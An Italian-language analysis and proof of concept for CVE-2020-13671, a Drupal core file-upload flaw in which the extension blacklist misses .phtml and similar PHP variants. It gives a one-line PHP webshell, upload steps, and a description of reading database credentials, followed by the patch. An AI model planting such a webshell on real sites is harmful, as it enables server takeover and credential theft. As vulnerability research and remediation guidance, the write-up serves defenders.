
Analisi dettagliata e proof-of-concept per CVE-2020-13671, una vulnerabilità di esecuzione remota di codice nel core di Drupal tramite caricamento di file, inclusi causa principale, passaggi di sfruttamento e remediation.
Software: Drupal Core 8.7.5 (Versioni affette: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alto)
CWE: CWE-434 — Caricamento senza restrizioni di file con tipo pericoloso
CISA KEV: Sì — Vulnerabilità nota e sfruttata
Advisory: SA-CORE-2020-012
Drupal è un Content Management System (CMS) open-source scritto in PHP, simile a WordPress o Joomla, ma orientato alla realizzazione di sistemi più complessi — siti aziendali, piattaforme multilingua. Drupal utilizza un'architettura modulare, che consente di estendere le funzionalità abilitando/disabilitando i moduli disponibili o installandone altri dalla community.
Una delle funzioni di base di qualsiasi CMS è consentire agli utenti di caricare file — avatar del profilo, documenti allegati, allegati negli articoli. Drupal salva questi file nella directory sites/default/files/ e li serve direttamente tramite il web server (Apache o Nginx).
⇒ Questo crea una chiara superficie d'attacco: se un attaccante riesce a caricare un file PHP in quella directory, il web server lo eseguirà quando vi si accede tramite una richiesta in arrivo.
Per prevenirlo, Drupal costruisce più livelli di difesa: validazione delle estensioni dei file, rinomina dei file pericolosi, inserimento di .htaccess per bloccare l'esecuzione di script nella directory di upload. Ma nella versione 8.7.5, gli attaccanti sfruttano esattamente il punto cieco tra questi livelli.
Questa vulnerabilità richiede un account con permessi di caricamento file. Per impostazione predefinita in Drupal 8.7.5, gli utenti normali (Authenticated/Autenticati) hanno solo il permesso di visualizzare i contenuti e pubblicare commenti — nessun permesso di creare articoli o caricare file.
| Account | Sfruttabile? | Spiegazione |
|---|---|---|
| Amministratore | Sì | Permessi di caricamento completi |
| Editor / Creatore di contenuti | Sì | Se gli viene concesso il permesso "Create content" con caricamento da parte dell'amministratore |
| Utente autenticato (predefinito) | No | Per impostazione predefinita non ha il permesso di creare contenuti o caricare file |
| Anonimo (non autenticato) | No | Nessun permesso di caricamento |
Tuttavia, in pratica, molti siti Drupal concedono agli utenti normali i permessi di creazione contenuti (forum, blog di comunità, siti di notizie che accettano invii di articoli). In questi casi, un attaccante deve solo registrare un account per sfruttarla.
Flusso d'attacco:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
Nel file core/modules/file/file.module c'è una singola regex che determina quali file sono considerati eseguibili:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Questa regex elenca 7 estensioni: phar, php, pl, py, cgi, asp, js. Qualsiasi file con un'estensione che corrisponde a questa lista riceverà automaticamente l'aggiunta di .txt da parte di Drupal — neutralizzando la capacità di esecuzione.
Tuttavia, il motore PHP non elabora solo i file .php. A seconda della configurazione del web server, riconosce ed esegue anche altre estensioni:
| Estensione | Significato | Inclusa nella regex? |
|---|---|---|
.php | PHP standard | Sì |
.phtml | Template alternativo PHP | No |
.php5 | Gestore PHP 5 | No |
.pht | Template PHP | No |
.phps | Sorgente PHP | No |
.shtml | Server-Side Includes | No |
5 varianti di estensione PHP sono completamente assenti dalla regex. Ciò significa che un file chiamato shell.phtml inviato a Drupal → la regex non corrisponde → non viene rinominato → viene salvato con il suo nome originale nella directory di upload → il web server vede .phtml → lo esegue come PHP → l'attaccante ottiene RCE. Questa è la causa principale: Drupal usava una blacklist per bloccare le estensioni pericolose, ma quell'elenco era incompleto.
Quando un utente carica un file, Drupal lo fa passare attraverso 3 funzioni di validazione prima di salvarlo. Di seguito un'analisi del motivo per cui tutte e 3 falliscono con .phtml.
file_munge_filename() (core/includes/file.inc)Scopo: rilevare le estensioni pericolose posizionate al centro del nome del file e aggiungere _ per neutralizzarle. Come funziona la funzione:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Ad esempio con shell.phtml:
explode divide in ["shell", "phtml"]shift preleva "shell", lasciando ["phtml"]pop preleva "phtml", lasciando []foreach non viene eseguito"shell.phtml" intattoTuttavia, se il file ha una sola estensione, non interviene. Quindi, questa funzione è progettata solo per gestire file con più estensioni.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Questo è il livello di difesa principale. Codice alla riga 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Se il nome del file corrisponde alla regex → cambia il MIME in text/plain e aggiunge .txt alla fine.
Con shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') restituisce 0.phtml è pericoloso, lo lascia passare senza problemi..htaccess nella directory di uploadDrupal inserisce un file .htaccess in sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
La direttiva php_flag engine off disattiva il motore PHP per l'intera directory, ma si applica solo a mod_php5. Drupal 8.7.5 gira su PHP 7, il che significa che mod_php7 è attivo e non disabilitato.
Inoltre, .htaccess ha altre 3 debolezze:
.htaccess — questo file è completamente inefficace su NginxAllowOverride None → .htaccess viene ignoratomod_php → la direttiva php_flag non ha effettoecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Accedi a Drupal con un account che ha i permessi di caricamento → Contenuti → Aggiungi contenuto → Articolo → nel campo Immagine, seleziona il file webshell.phtml → Carica.
Drupal accetta il file, non lo rinomina e lo salva con il suo nome originale in sites/default/files/.

Dopodiché, esegui la chiamata shell con whoami:

Così abbiamo ottenuto con successo RCE come www-data.
Testando ulteriormente per visualizzare le credenziali:

L'attaccante può leggere settings.php contenente le credenziali del database, esportare l'intero DB, installare una reverse shell o elevare i privilegi a root.
Aggiorna la regex — aggiungi le 5 estensioni mancanti:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Aggiorna .htaccess — aggiungi la disabilitazione per mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
La patch funziona ma si basa ancora su una blacklist. Se in futuro emergeranno nuove estensioni (.php8, .phpt), la regex dovrà essere aggiornata di nuovo. La whitelisting — consentire solo estensioni note e sicure — sarebbe un approccio più rigoroso.
| File vulnerabile | core/modules/file/file.module riga 28 |
|---|---|
| Causa principale | La regex blacklist non include .phtml, .php5, .pht, .phps, .shtml |
| Impatto | Caricamento .phtml → il server esegue → RCE |
| 3 livelli di difesa aggirati | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Patch | Aggiungi 5 estensioni alla regex + disabilita mod_php7 in .htaccess |